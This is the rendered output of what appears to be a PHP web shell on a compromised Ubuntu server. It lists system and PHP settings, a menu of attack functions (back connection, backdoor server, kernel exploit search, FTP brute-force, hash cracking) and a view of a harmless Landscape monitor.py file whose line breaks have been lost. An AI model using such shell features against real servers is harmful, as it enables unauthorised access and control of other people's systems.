|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 22.56 GB of 70.42 GB (32.04%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
share/
pyshared/
landscape/
monitor/
- drwxr-xr-x
|
Viewing file: monitor.py (1.02 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
"""The Landscape monitor plugin system."""
import os
from landscape.broker.client import BrokerClient
class Monitor(BrokerClient): """The central point of integration in the Landscape monitor."""
name = "monitor"
def __init__(self, reactor, config, persist, persist_filename=None, step_size=5 * 60): super(Monitor, self).__init__(reactor) self.reactor = reactor self.config = config self.persist = persist self.persist_filename = persist_filename if persist_filename and os.path.exists(persist_filename): self.persist.load(persist_filename) self._plugins = [] self.step_size = step_size self.reactor.call_every(self.config.flush_interval, self.flush)
def flush(self): """Flush data to disk.""" if self.persist_filename: self.persist.save(self.persist_filename)
def exchange(self): """Call C{exchange} on all plugins.""" super(Monitor, self).exchange() self.flush()
|